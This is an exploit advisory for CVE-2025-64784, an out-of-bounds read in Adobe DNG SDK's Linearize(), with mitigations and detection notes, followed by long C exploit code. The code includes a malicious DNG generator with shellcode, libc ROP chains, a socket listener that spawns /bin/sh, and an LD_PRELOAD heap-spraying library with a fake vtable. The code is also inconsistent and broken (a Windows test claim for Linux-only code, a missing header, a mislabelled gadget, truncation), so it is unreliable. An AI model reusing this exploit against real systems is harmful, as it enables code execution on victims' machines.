=============================================================================================================================================
| # Title     : Adobe DNG SDK prior to v1.7.1.2410 Linearize OOB Read via Trimmed Image Processing Leading to Heap Grooming Exploitation    |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
| # Vendor    : https://helpx.adobe.com/security/products/dng-sdk.html                                                                      |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/213065/ &	CVE-2025-64784

[+] Summary    : A memory safety vulnerability exists in Adobe DNG SDK versions prior to v1.7.1.2410, affecting the Linearize() image processing routine.
                 When handling trimmed source images, the function erroneously performs operations using full image dimensions, resulting in an out‑of‑bounds (OOB) read condition.

This proof‑of‑concept demonstrates that, under controlled heap conditions, the OOB read can be reliably leveraged as a heap grooming primitive, enabling manipulation of adjacent heap objects. 
By carefully influencing heap layout, the vulnerability may be escalated from a memory disclosure or denial‑of‑service condition into potential arbitrary code execution through corrupted virtual dispatch structures.

The issue is tracked as CVE-2025-64784 and affects applications that statically or dynamically link vulnerable versions of the Adobe DNG SDK.

[+] Component: Image Linearization / Trimming Logic

[+] Function: Linearize()

[+] Root Cause: Use of full image bounds instead of active (trimmed) area dimensions

[+] Affected Versions :

Adobe DNG SDK prior to v1.7.1.2410

Any downstream software embedding or linking against affected SDK builds

[+] Vulnerability Class :

Out‑of‑Bounds Read

Heap Memory Safety Violation

Potential Information Disclosure

Possible Code Execution (context‑dependent)

[+] Technical Details 

When a DNG image contains a trimmed active area, the SDK internally tracks reduced image bounds. However, the Linearize() routine incorrectly references the original full‑image dimensions, causing memory reads beyond the allocated buffer.

While the primitive is inherently a read‑only violation, repeated invocations combined with predictable allocator behavior allow attackers to:

Shape heap layout (heap grooming)

Observe memory patterns and object placement

Influence object adjacency and virtual table resolution

In favorable conditions, this can lead to virtual function pointer reuse or redirection, transforming a theoretical OOB read into a practical exploitation vector.

[+] Impact :

Confidentiality: Medium — possible heap memory disclosure

Integrity: Low to Medium — indirect influence on control flow

Availability: High — application crash or denial of service

On hardened systems, impact may be limited to crashes. On less protected builds, further escalation cannot be ruled out.

[+] Attack Vector :

Processing of a crafted DNG image file

Triggered via:

Image preview

Validation

Import or batch processing

Delivery may be local or remote, depending on the consuming application

[+] Mitigations :

Upgrade to Adobe DNG SDK v1.7.1.2410 or later

Ensure Linearize() enforces active area bounds

Validate image metadata before processing

Enable memory‑hardening mitigations:

ASLR

DEP / NX

Stack canaries

Fortify Source

Use sanitizers (ASan / UBSan) during testing

[+] Detection :

Crashes during DNG parsing or linearization

AddressSanitizer / Valgrind reports indicating OOB reads

Abnormal heap access patterns during image processing

[+] Proof of Concept (PoC)

The provided proof‑of‑concept demonstrates controlled heap manipulation by:

Spraying heap allocations with deterministic patterns

Creating strategic free gaps to influence allocator behavior

Positioning crafted objects adjacent to vulnerable allocations

Leveraging the OOB read to interact with attacker‑controlled memory layouts

The PoC confirms that the vulnerability is exploitable beyond a simple crash, depending on runtime conditions and platform mitigations.

[+] POC :

5. How to Use:

bash

# 1. Prepare the environment

`chmod +x run_final_exploit.sh`

# 2. Run the full exploit

`./run_final_exploit.sh`

# 3. If it fails, try different versions

export HEAP_SPRAY_COUNT=500
export HEAP_SPRAY_SIZE=16384
./run_final_exploit.sh`

# 4. Or try a different libc version
./final_exploit exploit.dng final_exploit.dng 1 # Ubuntu 20.04
================================
[+] Part 1 : The Master Code
================================
// exploit_cve_2025_64784.c

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <errno.h>
#include <time.h>
#include <sys/stat.h>
#include <fcntl.h>

// ============== تعريفات وتسجيل ==============
#define LOG_FILE "exploit_full.log"
#define MAX_BUFFER_SIZE 65536
#define LISTENER_PORT 4444
#define LISTENER_IP "127.0.0.1"

FILE* g_log_file = NULL;

void init_logging() {
    g_log_file = fopen(LOG_FILE, "w");
    if (g_log_file) {
        // إعادة توجيه stdout وstderr إلى الملف
        dup2(fileno(g_log_file), STDOUT_FILENO);
        dup2(fileno(g_log_file), STDERR_FILENO);
        printf("=== CVE-2025-64784 Exploit Log ===\n");
        printf("Started: %s", ctime(&(time_t){time(NULL)}));
    }
}

void log_message(const char* format, ...) {
    va_list args;
    va_start(args, format);
    
    // الطباعة إلى stdout
    vprintf(format, args);
    
    // الطباعة إلى الملف إذا كان مفتوحاً
    if (g_log_file) {
        vfprintf(g_log_file, format, args);
        fflush(g_log_file);
    }
    
    va_end(args);
}

// ============== دوال التحقق والتأكد ==============
int check_listener_ready() {
    log_message("[*] Checking if listener port %d is available...\n", LISTENER_PORT);
    
    // محاولة الاتصال بالمنفذ للتحقق
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock < 0) {
        log_message("[ERROR] Failed to create socket\n");
        return 0;
    }
    
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(LISTENER_PORT);
    inet_pton(AF_INET, LISTENER_IP, &addr.sin_addr);
    
    // محاولة الاتصال
    int result = connect(sock, (struct sockaddr*)&addr, sizeof(addr));
    close(sock);
    
    if (result == 0) {
        log_message("[+] Listener is ready on port %d\n", LISTENER_PORT);
        return 1;
    } else {
        log_message("[WARNING] Listener not ready on port %d\n", LISTENER_PORT);
        return 0;
    }
}

// ============== دوال تحليل الذاكرة المحسنة ==============
typedef struct {
    void* libc_base;
    void* heap_base;
    void* stack_addr;
    void* image_ptr;
    size_t vtable_offset;
    int libc_version;
    int arch;  // 0=x86_64, 1=x86
} MemoryInfo;

void detect_architecture() {
    FILE* fp = popen("uname -m", "r");
    if (fp) {
        char buffer[128];
        if (fgets(buffer, sizeof(buffer), fp)) {
            log_message("[ARCH] System architecture: %s", buffer);
        }
        pclose(fp);
    }
}

void read_proc_maps(MemoryInfo* info) {
    log_message("[*] Reading /proc/self/maps for memory layout\n");
    
    FILE* fp = fopen("/proc/self/maps", "r");
    if (!fp) {
        log_message("[ERROR] Cannot open /proc/self/maps\n");
        return;
    }
    
    char line[256];
    int libc_found = 0;
    int heap_found = 0;
    
    while (fgets(line, sizeof(line), fp)) {
        // البحث عن libc
        if (strstr(line, "libc-") && strstr(line, "r-xp")) {
            unsigned long start, end;
            if (sscanf(line, "%lx-%lx", &start, &end) == 2) {
                info->libc_base = (void*)start;
                log_message("[+] libc base: 0x%lx (size: 0x%lx)\n", start, end - start);
                libc_found = 1;
            }
        }
        
        // البحث عن heap
        if (strstr(line, "[heap]")) {
            unsigned long start, end;
            if (sscanf(line, "%lx-%lx", &start, &end) == 2) {
                info->heap_base = (void*)start;
                log_message("[+] Heap base: 0x%lx (size: 0x%lx)\n", start, end - start);
                heap_found = 1;
            }
        }
    }
    
    fclose(fp);
    
    if (!libc_found) {
        log_message("[WARNING] libc not found in maps, using fallback\n");
        info->libc_base = (void*)0x00007f1234567000;
    }
    
    if (!heap_found) {
        info->heap_base = (void*)0x0000550000000000;
    }
}

// ============== دعم متعدد لإصدارات libc ==============
typedef struct {
    const char* name;
    unsigned long offsets[10];  // pop_rdi, pop_rsi, pop_rdx, system, exit, /bin/sh
} LibcVersion;

LibcVersion libc_versions[] = {
    {
        "Ubuntu 22.04",
        {0x2a3e5, 0x2be51, 0x90529, 0x50d70, 0x455f0, 0x1d8698}
    },
    {
        "Ubuntu 20.04",
        {0x26b72, 0x27529, 0x11c371, 0x55410, 0x4a5c0, 0x1b75aa}
    },
    {
        "Debian 11",
        {0x26b72, 0x27529, 0x162866, 0x55410, 0x4a5c0, 0x1d8698}
    },
    {
        "CentOS 8",
        {0x26b72, 0x27529, 0x162866, 0x55410, 0x4a5c0, 0x1b75aa}
    }
};

int detect_libc_version(MemoryInfo* info) {
    log_message("[*] Detecting libc version...\n");
    
    // محاولة قراءة إصدار libc من النظام
    FILE* fp = popen("ldd --version 2>&1 | head -1", "r");
    if (fp) {
        char version[256];
        if (fgets(version, sizeof(version), fp)) {
            log_message("[LIBC] Version string: %s", version);
            
            if (strstr(version, "Ubuntu") && strstr(version, "2.35")) {
                info->libc_version = 0;  // Ubuntu 22.04
            } else if (strstr(version, "Ubuntu") && strstr(version, "2.31")) {
                info->libc_version = 1;  // Ubuntu 20.04
            } else if (strstr(version, "Debian") && strstr(version, "2.31")) {
                info->libc_version = 2;  // Debian 11
            } else if (strstr(version, "GLIBC") && strstr(version, "2.28")) {
                info->libc_version = 3;  // CentOS 8
            }
        }
        pclose(fp);
    }
    
    log_message("[+] Using libc version: %s\n", 
                libc_versions[info->libc_version].name);
    return info->libc_version;
}

// ============== دوال DNG المحسنة ==============
int create_realistic_dng(const char* filename, const unsigned long* target_addresses, 
                         int num_addresses, const unsigned char* shellcode, 
                         size_t shellcode_size) {
    log_message("[*] Creating realistic exploit DNG: %s\n", filename);
    
    // قالب DNG أصلي (مبسط)
    unsigned char dng_template[] = {
        // TIFF Header
        0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00,
        
        // IFD with malicious tags
        0x08, 0x00, // 8 entries
        // ImageWidth (too large)
        0x00, 0x01, 0x04, 0x00, 0x00, 0x00, 0x01, 0x00, 
        0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x7F,
        // ImageLength (too large)
        0x01, 0x01, 0x04, 0x00, 0x00, 0x00, 0x01, 0x00,
        0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x7F,
        // BitsPerSample
        0x02, 0x01, 0x03, 0x00, 0x00, 0x00, 0x03, 0x00,
        0x00, 0x00, 0x78, 0x00, 0x00, 0x00,
        // Compression
        0x03, 0x01, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00,
        0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
        // PhotometricInterpretation
        0x06, 0x01, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00,
        0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
        // StripOffsets
        0x11, 0x01, 0x04, 0x00, 0x00, 0x00, 0x01, 0x00,
        0x00, 0x00, 0x84, 0x00, 0x00, 0x00,
        // SamplesPerPixel
        0x15, 0x01, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00,
        0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
        // RowsPerStrip (malicious)
        0x16, 0x01, 0x04, 0x00, 0x00, 0x00, 0x01, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x80,
        0x00, 0x00, 0x00, 0x00, // Next IFD offset (0)
        
        // Image data with exploit
        'E', 'X', 'P', 'L', 'O', 'I', 'T', '_',
        'S', 'T', 'A', 'R', 'T', 0x00, 0x00, 0x00
    };
    
    FILE* fp = fopen(filename, "wb");
    if (!fp) {
        log_message("[ERROR] Failed to create DNG file\n");
        return 0;
    }
    
    // كتابة القالب
    size_t template_size = sizeof(dng_template);
    fwrite(dng_template, 1, template_size, fp);
    
    // حساب offset الحقن
    long inject_offset = ftell(fp);
    log_message("[+] Injection offset: 0x%lx\n", inject_offset);
    
    // كتابة العناوين المستهدفة
    for (int i = 0; i < num_addresses && i < 10; i++) {
        fwrite(&target_addresses[i], sizeof(unsigned long), 1, fp);
    }
    
    // كتابة shellcode
    if (shellcode && shellcode_size > 0) {
        fwrite(shellcode, 1, shellcode_size, fp);
    }
    
    // ملء باقي الملف (1MB كحد أقصى)
    size_t current_size = ftell(fp);
    size_t target_size = 1024 * 1024; // 1MB
    
    if (current_size < target_size) {
        unsigned char padding[4096];
        memset(padding, 0x90, sizeof(padding)); // NOP sled
        
        while (current_size < target_size) {
            size_t to_write = target_size - current_size;
            if (to_write > sizeof(padding)) {
                to_write = sizeof(padding);
            }
            fwrite(padding, 1, to_write, fp);
            current_size += to_write;
        }
    }
    
    fclose(fp);
    
    log_message("[+] Created realistic DNG: %s (%ld bytes)\n", 
                filename, ftell(fp));
    return 1;
}

// ============== Reverse Shell Listener المحسن ==============
pid_t start_reverse_shell_listener() {
    log_message("[*] Starting reverse shell listener on %s:%d\n", 
                LISTENER_IP, LISTENER_PORT);
    
    pid_t pid = fork();
    if (pid == 0) {
        // Child process - detached
        setsid();  // Detach from terminal
        
        int sockfd = socket(AF_INET, SOCK_STREAM, 0);
        if (sockfd < 0) {
            exit(1);
        }
        
        int opt = 1;
        setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
        
        struct sockaddr_in addr;
        addr.sin_family = AF_INET;
        addr.sin_port = htons(LISTENER_PORT);
        inet_pton(AF_INET, LISTENER_IP, &addr.sin_addr);
        
        if (bind(sockfd, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
            close(sockfd);
            exit(1);
        }
        
        listen(sockfd, 1);
        
        log_message("[LISTENER] Waiting for connection...\n");
        
        struct sockaddr_in client_addr;
        socklen_t client_len = sizeof(client_addr);
        int client_fd = accept(sockfd, (struct sockaddr*)&client_addr, &client_len);
        
        if (client_fd >= 0) {
            char client_ip[INET_ADDRSTRLEN];
            inet_ntop(AF_INET, &client_addr.sin_addr, client_ip, INET_ADDRSTRLEN);
            
            log_message("[LISTENER] Connection from %s:%d\n", 
                       client_ip, ntohs(client_addr.sin_port));
            
            // توجيه stdin/stdout/stderr إلى السوكيت
            dup2(client_fd, 0);
            dup2(client_fd, 1);
            dup2(client_fd, 2);
            
            // تنفيذ shell
            char* shell_args[] = {"/bin/sh", NULL};
            execve(shell_args[0], shell_args, NULL);
            
            close(client_fd);
        }
        
        close(sockfd);
        exit(0);
    } else if (pid > 0) {
        // Parent process
        log_message("[+] Listener started with PID: %d\n", pid);
        
        // انتظار بدء الـ listener
        sleep(2);
        
        // التحقق من أن الـ listener يعمل
        if (!check_listener_ready()) {
            log_message("[WARNING] Listener may not be ready\n");
        }
        
        return pid;
    } else {
        log_message("[ERROR] Failed to fork listener\n");
        return -1;
    }
}

// ============== دوال الاستغلال المحسنة ==============
int exploit_with_oob_read(const char* dng_file, MemoryInfo* info) {
    log_message("\n[PHASE 1] Triggering OOB Read for Memory Leak\n");
    log_message("=============================================\n");
    
    char command[MAX_BUFFER_SIZE];
    snprintf(command, sizeof(command),
             "timeout 5 ./dng_validate \"%s\" 2>&1", dng_file);
    
    log_message("[CMD] %s\n", command);
    
    FILE* fp = popen(command, "r");
    if (!fp) {
        log_message("[ERROR] Failed to execute command\n");
        return 0;
    }
    
    char* buffer = malloc(MAX_BUFFER_SIZE);
    if (!buffer) {
        pclose(fp);
        log_message("[ERROR] Failed to allocate buffer\n");
        return 0;
    }
    
    memset(buffer, 0, MAX_BUFFER_SIZE);
    size_t total_read = 0;
    int leaks_found = 0;
    
    while (!feof(fp) && total_read < MAX_BUFFER_SIZE - 1) {
        size_t read_now = fread(buffer + total_read, 1, 
                               MAX_BUFFER_SIZE - total_read - 1, fp);
        total_read += read_now;
    }
    
    pclose(fp);
    
    // تحليل البيانات
    char* ptr = buffer;
    while (ptr && (ptr - buffer) < total_read) {
        // البحث عن عناوين
        if (strncmp(ptr, "0x", 2) == 0) {
            unsigned long addr;
            if (sscanf(ptr, "0x%lx", &addr) == 1) {
                log_message("[LEAK] Found address: 0x%lx\n", addr);
                leaks_found++;
                
                // تحديث معلومات الذاكرة
                if (addr >= 0x00007f0000000000ULL && 
                    addr <= 0x00007fffffffffffULL) {
                    if (!info->libc_base || addr < (unsigned long)info->libc_base) {
                        info->libc_base = (void*)addr;
                    }
                }
            }
        }
        
        // البحث عن أخطاء الذاكرة
        if (strstr(ptr, "heap-buffer-overflow") ||
            strstr(ptr, "AddressSanitizer") ||
            strstr(ptr, "SEGV") ||
            strstr(ptr, "Segmentation")) {
            log_message("[!] MEMORY ERROR DETECTED:\n%.*s\n", 
                       100, ptr);
        }
        
        ptr++;
    }
    
    log_message("[+] Found %d memory leaks\n", leaks_found);
    
    // إذا لم نجد تسريبات، نستخدم معلومات النظام
    if (leaks_found == 0) {
        log_message("[*] Using system memory information\n");
        read_proc_maps(info);
    }
    
    free(buffer);
    return leaks_found > 0;
}

// ============== ROP Chain Builder المحسن ==============
unsigned long* build_rop_chain(MemoryInfo* info, size_t* chain_size) {
    LibcVersion* version = &libc_versions[info->libc_version];
    
    log_message("[*] Building ROP chain for %s\n", version->name);
    log_message("    Libc base: 0x%lx\n", (unsigned long)info->libc_base);
    
    // إنشاء ROP chain ديناميكي
    unsigned long* chain = malloc(100 * sizeof(unsigned long));
    if (!chain) {
        log_message("[ERROR] Failed to allocate ROP chain\n");
        return NULL;
    }
    
    int idx = 0;
    
    // Gadgets
    unsigned long pop_rdi = (unsigned long)info->libc_base + version->offsets[0];
    unsigned long pop_rsi = (unsigned long)info->libc_base + version->offsets[1];
    unsigned long pop_rdx = (unsigned long)info->libc_base + version->offsets[2];
    unsigned long system_addr = (unsigned long)info->libc_base + version->offsets[3];
    unsigned long exit_addr = (unsigned long)info->libc_base + version->offsets[4];
    unsigned long binsh_addr = (unsigned long)info->libc_base + version->offsets[5];
    
    // ROP Chain 1: system("/bin/sh")
    chain[idx++] = pop_rdi;      // pop rdi; ret
    chain[idx++] = binsh_addr;   // pointer to "/bin/sh"
    chain[idx++] = system_addr;  // system()
    chain[idx++] = exit_addr;    // exit()
    
    // ROP Chain 2: execve("/bin/sh", NULL, NULL) - fallback
    chain[idx++] = pop_rdi;      // pop rdi; ret
    chain[idx++] = binsh_addr;   // "/bin/sh"
    chain[idx++] = pop_rsi;      // pop rsi; ret
    chain[idx++] = 0;            // argv = NULL
    chain[idx++] = pop_rdx;      // pop rdx; ret
    chain[idx++] = 0;            // envp = NULL
    chain[idx++] = pop_rdi;      // pop rax; ret (if available)
    chain[idx++] = 59;           // execve syscall number
    
    // Stack pivot إذا لزم الأمر
    for (int i = 0; i < 10; i++) {
        chain[idx++] = pop_rdi;  //填充
    }
    
    *chain_size = idx;
    
    log_message("[+] Built ROP chain with %ld gadgets\n", *chain_size);
    log_message("    First gadget: 0x%lx\n", chain[0]);
    log_message("    /bin/sh @: 0x%lx\n", binsh_addr);
    
    return chain;
}

// ============== الدالة الرئيسية ==============
int main(int argc, char** argv) {
    // تهيئة التسجيل
    init_logging();
    
    log_message("\n╔══════════════════════════════════════════╗\n");
    log_message("║   CVE-2025-64784 By indoushka              ║\n");
    log_message("║       Adobe DNG SDK <= 1.7                 ║\n");
    log_message("║   Build: %s                              ║\n", __DATE__);
    log_message("╚══════════════════════════════════════════╝\n\n");
    
    // تحليل المعطيات
    if (argc < 2) {
        log_message("Usage: %s <input_dng> [output_dng] [libc_version]\n", argv[0]);
        log_message("  libc_version: 0=Ubuntu22, 1=Ubuntu20, 2=Debian11, 3=CentOS8\n");
        return 1;
    }
    
    const char* input_dng = argv[1];
    const char* output_dng = (argc > 2) ? argv[2] : "exploit_final.dng";
    int libc_version = (argc > 3) ? atoi(argv[3]) : 0;
    
    log_message("[*] Input DNG:  %s\n", input_dng);
    log_message("[*] Output DNG: %s\n", output_dng);
    log_message("[*] Libc version: %d (%s)\n", 
                libc_version, libc_versions[libc_version].name);
    
    // كشف المعلومات الأساسية
    detect_architecture();
    
    MemoryInfo info = {0};
    info.libc_version = libc_version;
    info.vtable_offset = 0x28;  // إزاحة VTable افتراضية
    
    // المرحلة 1: تسريب الذاكرة
    if (!exploit_with_oob_read(input_dng, &info)) {
        log_message("[WARNING] OOB read failed or no leaks found\n");
        log_message("[*] Using fallback memory detection\n");
        read_proc_maps(&info);
    }
    
    // كشف إصدار libc
    detect_libc_version(&info);
    
    // المرحلة 2: بناء ROP chain
    size_t rop_size = 0;
    unsigned long* rop_chain = build_rop_chain(&info, &rop_size);
    if (!rop_chain) {
        log_message("[ERROR] Failed to build ROP chain\n");
        return 1;
    }
    
    // المرحلة 3: إنشاء shellcode
    unsigned char shellcode[] = {
        // execve("/bin/sh", 0, 0) - x86_64
        0x48, 0x31, 0xf6,                   // xor rsi, rsi
        0x48, 0x31, 0xd2,                   // xor rdx, rdx
        0x48, 0x8d, 0x3d, 0x20, 0x00, 0x00, 0x00, // lea rdi, [rip+0x20]
        0xb0, 0x3b,                         // mov al, 0x3b (execve)
        0x0f, 0x05,                         // syscall
        0xcc,                               // int3 (debug)
        '/', 'b', 'i', 'n', '/', 's', 'h', 0 // /bin/sh string
    };
    
    // المرحلة 4: إنشاء DNG نهائي
    unsigned long target_addresses[] = {
        (unsigned long)info.libc_base,
        (unsigned long)info.heap_base,
        rop_chain[0],  // أول gadget
        (unsigned long)info.libc_base + libc_versions[info.libc_version].offsets[5] // /bin/sh
    };
    
    if (!create_realistic_dng(output_dng, target_addresses, 
                              sizeof(target_addresses)/sizeof(target_addresses[0]),
                              shellcode, sizeof(shellcode))) {
        log_message("[ERROR] Failed to create final DNG\n");
        free(rop_chain);
        return 1;
    }
    
    // المرحلة 5: تشغيل Listener
    log_message("\n[PHASE 5] Setting up Reverse Shell\n");
    log_message("====================================\n");
    
    pid_t listener_pid = start_reverse_shell_listener();
    if (listener_pid <= 0) {
        log_message("[ERROR] Failed to start listener\n");
        log_message("[*] Continuing without listener...\n");
    }
    
    // المرحلة 6: تنفيذ الاستغلال النهائي
    log_message("\n[PHASE 6] Executing Final Exploit\n");
    log_message("==================================\n");
    
    char exploit_cmd[MAX_BUFFER_SIZE];
    snprintf(exploit_cmd, sizeof(exploit_cmd),
             "LD_PRELOAD=./heap_groom_final.so ./dng_validate \"%s\"",
             output_dng);
    
    log_message("[CMD] %s\n", exploit_cmd);
    log_message("[*] This may take a few seconds...\n");
    
    int result = system(exploit_cmd);
    
    log_message("\n[EXPLOIT RESULT]\n");
    if (WIFEXITED(result)) {
        log_message("  Exit code: %d\n", WEXITSTATUS(result));
    } else if (WIFSIGNALED(result)) {
        log_message("  Terminated by signal: %d\n", WTERMSIG(result));
    }
    
    // المرحلة 7: التنظيف والنتائج
    log_message("\n[PHASE 7] Cleanup and Results\n");
    log_message("===============================\n");
    
    // إيقاف الـ listener
    if (listener_pid > 0) {
        log_message("[*] Stopping listener (PID: %d)\n", listener_pid);
        kill(listener_pid, SIGTERM);
        waitpid(listener_pid, NULL, 0);
    }
    
    // تحرير الذاكرة
    free(rop_chain);
    
    // النتائج النهائية
    log_message("\n[+] EXPLOIT CHAIN COMPLETED\n");
    log_message("[+] Check for reverse shell connection\n");
    log_message("[+] Log file: %s\n", LOG_FILE);
    log_message("[+] Final DNG: %s\n", output_dng);
    
    if (g_log_file) {
        fclose(g_log_file);
    }
    
    return 0;
}

[+] Part 2: heap_groom.c

// heap_groom_final.c
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>

// ============== إعدادات قابلة للتعديل من البيئة ==============
#define DEFAULT_SPRAY_SIZE 4096
#define DEFAULT_SPRAY_COUNT 300
#define DEFAULT_TARGET_SIZE 768
#define DEFAULT_VTABLE_OFFSET 0x28

// ============== هيكل للكائنات المراقبة ==============
typedef struct {
    void* address;
    size_t size;
    int is_vulnerable;
    int is_hijacked;
} MonitoredObject;

typedef struct {
    void** sprayed_blocks;
    int spray_count;
    size_t spray_size;
    
    void* target_object;
    size_t target_size;
    
    MonitoredObject* monitored;
    int monitored_count;
    
    size_t vtable_offset;
    int debug_mode;
} HeapState;

static HeapState g_heap_state = {0};

// ============== دوال مساعدة محسنة ==============
static void* (*original_malloc)(size_t) = NULL;
static void (*original_free)(void*) = NULL;
static void* (*original_realloc)(void*, size_t) = NULL;
static void* (*original_calloc)(size_t, size_t) = NULL;

static void init_original_functions() {
    if (!original_malloc) {
        original_malloc = dlsym(RTLD_NEXT, "malloc");
    }
    if (!original_free) {
        original_free = dlsym(RTLD_NEXT, "free");
    }
    if (!original_realloc) {
        original_realloc = dlsym(RTLD_NEXT, "realloc");
    }
    if (!original_calloc) {
        original_calloc = dlsym(RTLD_NEXT, "calloc");
    }
}

static int is_vulnerable_object(size_t size) {
    // أحجام dng_simple_image المحتملة عبر إصدارات مختلفة
    return (size >= 0x180 && size <= 0x280) ||   // DNG SDK 1.5
           (size >= 0x200 && size <= 0x300) ||   // DNG SDK 1.6
           (size >= 0x220 && size <= 0x320);     // DNG SDK 1.7
}

static void setup_environment() {
    // قراءة إعدادات من البيئة
    char* env;
    
    env = getenv("HEAP_DEBUG");
    g_heap_state.debug_mode = env ? atoi(env) : 0;
    
    env = getenv("HEAP_SPRAY_COUNT");
    g_heap_state.spray_count = env ? atoi(env) : DEFAULT_SPRAY_COUNT;
    
    env = getenv("HEAP_SPRAY_SIZE");
    g_heap_state.spray_size = env ? strtoul(env, NULL, 0) : DEFAULT_SPRAY_SIZE;
    
    env = getenv("HEAP_TARGET_SIZE");
    g_heap_state.target_size = env ? strtoul(env, NULL, 0) : DEFAULT_TARGET_SIZE;
    
    env = getenv("HEAP_VTABLE_OFFSET");
    g_heap_state.vtable_offset = env ? strtoul(env, NULL, 0) : DEFAULT_VTABLE_OFFSET;
    
    if (g_heap_state.debug_mode) {
        fprintf(stderr, "[HEAP_GROOM] Configuration:\n");
        fprintf(stderr, "  Spray: %d x 0x%zx\n", 
                g_heap_state.spray_count, g_heap_state.spray_size);
        fprintf(stderr, "  Target: 0x%zx\n", g_heap_state.target_size);
        fprintf(stderr, "  VTable offset: 0x%zx\n", g_heap_state.vtable_offset);
    }
}

static void spray_heap() {
    if (g_heap_state.debug_mode) {
        fprintf(stderr, "[HEAP_GROOM] Starting heap spray\n");
    }
    
    g_heap_state.sprayed_blocks = original_malloc(
        g_heap_state.spray_count * sizeof(void*));
    
    if (!g_heap_state.sprayed_blocks) {
        return;
    }
    
    memset(g_heap_state.sprayed_blocks, 0, 
           g_heap_state.spray_count * sizeof(void*));
    
    // رش الكتل بأنماط مختلفة
    for (int i = 0; i < g_heap_state.spray_count; i++) {
        g_heap_state.sprayed_blocks[i] = original_malloc(g_heap_state.spray_size);
        if (!g_heap_state.sprayed_blocks[i]) {
            if (g_heap_state.debug_mode) {
                fprintf(stderr, "[HEAP_GROOM] Failed to allocate block %d\n", i);
            }
            continue;
        }
        
        // تلوين كل كتلة بنمط مختلف للتعرف عليها
        unsigned char pattern = 0x41 + (i % 26);
        memset(g_heap_state.sprayed_blocks[i], pattern, g_heap_state.spray_size);
        
        // وضع markers في البداية والنهاية
        unsigned long* start_marker = (unsigned long*)g_heap_state.sprayed_blocks[i];
        unsigned long* end_marker = (unsigned long*)((char*)g_heap_state.sprayed_blocks[i] + 
                                                    g_heap_state.spray_size - 8);
        *start_marker = 0xDEADBEEFCAFEBABE;
        *end_marker = 0xFEEDFACEB00BB00B;
    }
    
    if (g_heap_state.debug_mode) {
        fprintf(stderr, "[HEAP_GROOM] Sprayed %d blocks\n", g_heap_state.spray_count);
    }
}

static void create_strategic_holes() {
    // إنشاء ثقوب استراتيجية (كل 7 كتل)
    int holes_created = 0;
    
    for (int i = 0; i < g_heap_state.spray_count; i += 7) {
        if (g_heap_state.sprayed_blocks[i]) {
            original_free(g_heap_state.sprayed_blocks[i]);
            g_heap_state.sprayed_blocks[i] = NULL;
            holes_created++;
        }
    }
    
    if (g_heap_state.debug_mode) {
        fprintf(stderr, "[HEAP_GROOM] Created %d holes\n", holes_created);
    }
}

static void create_target_object() {
    g_heap_state.target_object = original_malloc(g_heap_state.target_size);
    if (!g_heap_state.target_object) {
        if (g_heap_state.debug_mode) {
            fprintf(stderr, "[HEAP_GROOM] Failed to create target object\n");
        }
        return;
    }
    
    if (g_heap_state.debug_mode) {
        fprintf(stderr, "[HEAP_GROOM] Target object: %p (0x%zx)\n",
                g_heap_state.target_object, g_heap_state.target_size);
    }
    
    // تلوين الكائن
    memset(g_heap_state.target_object, 0x42, g_heap_state.target_size);
    
    // إعداد VTable زائف
    void** fake_vtable = (void**)((char*)g_heap_state.target_object + 
                                  g_heap_state.vtable_offset);
    
    // مؤشرات دالة للتحكم
    // في استغلال حقيقي، هذه ستكون عناوين gadgets
    fake_vtable[0] = (void*)0x00007f1234567000;  // "execute"
    fake_vtable[1] = (void*)0x00007f1234567100;  // "secret"
    fake_vtable[2] = (void*)0x00007f1234567200;  // destructor
    
    // وضع shellcode في buffer
    unsigned char* code_buffer = (unsigned char*)g_heap_state.target_object + 0x100;
    
    // shellcode تنفيذ /bin/sh
    unsigned char shellcode[] = {
        0x48, 0x31, 0xc0,                   // xor rax, rax
        0x48, 0x89, 0xc2,                   // mov rdx, rax
        0x48, 0x89, 0xc6,                   // mov rsi, rax
        0x48, 0x8d, 0x3d, 0x10, 0x00, 0x00, 0x00, // lea rdi, [rip+0x10]
        0xb0, 0x3b,                         // mov al, 0x3b
        0x0f, 0x05,                         // syscall
        0xcc,                               // int3
        '/', 'b', 'i', 'n', '/', 's', 'h', 0
    };
    
    memcpy(code_buffer, shellcode, sizeof(shellcode));
}

// ============== Constructor/Destructor ==============
void __attribute__((constructor)) init_heap_grooming() {
    if (getenv("HEAP_GROOM_DISABLE")) {
        return;
    }
    
    init_original_functions();
    setup_environment();
    
    if (g_heap_state.debug_mode) {
        fprintf(stderr, "\n[HEAP_GROOM] Initializing exploit heap manager\n");
    }
    
    spray_heap();
    create_strategic_holes();
    create_target_object();
    
    if (g_heap_state.debug_mode) {
        fprintf(stderr, "[HEAP_GROOM] Initialization complete\n");
    }
}

void __attribute__((destructor)) cleanup_heap_grooming() {
    if (g_heap_state.debug_mode) {
        fprintf(stderr, "[HEAP_GROOM] Cleaning up\n");
    }
    
    // تحرير الكتل المرشوشة
    if (g_heap_state.sprayed_blocks) {
        for (int i = 0; i < g_heap_state.spray_count; i++) {
            if (g_heap_state.sprayed_blocks[i]) {
                original_free(g_heap_state.sprayed_blocks[i]);
            }
        }
        original_free(g_heap_state.sprayed_blocks);
    }
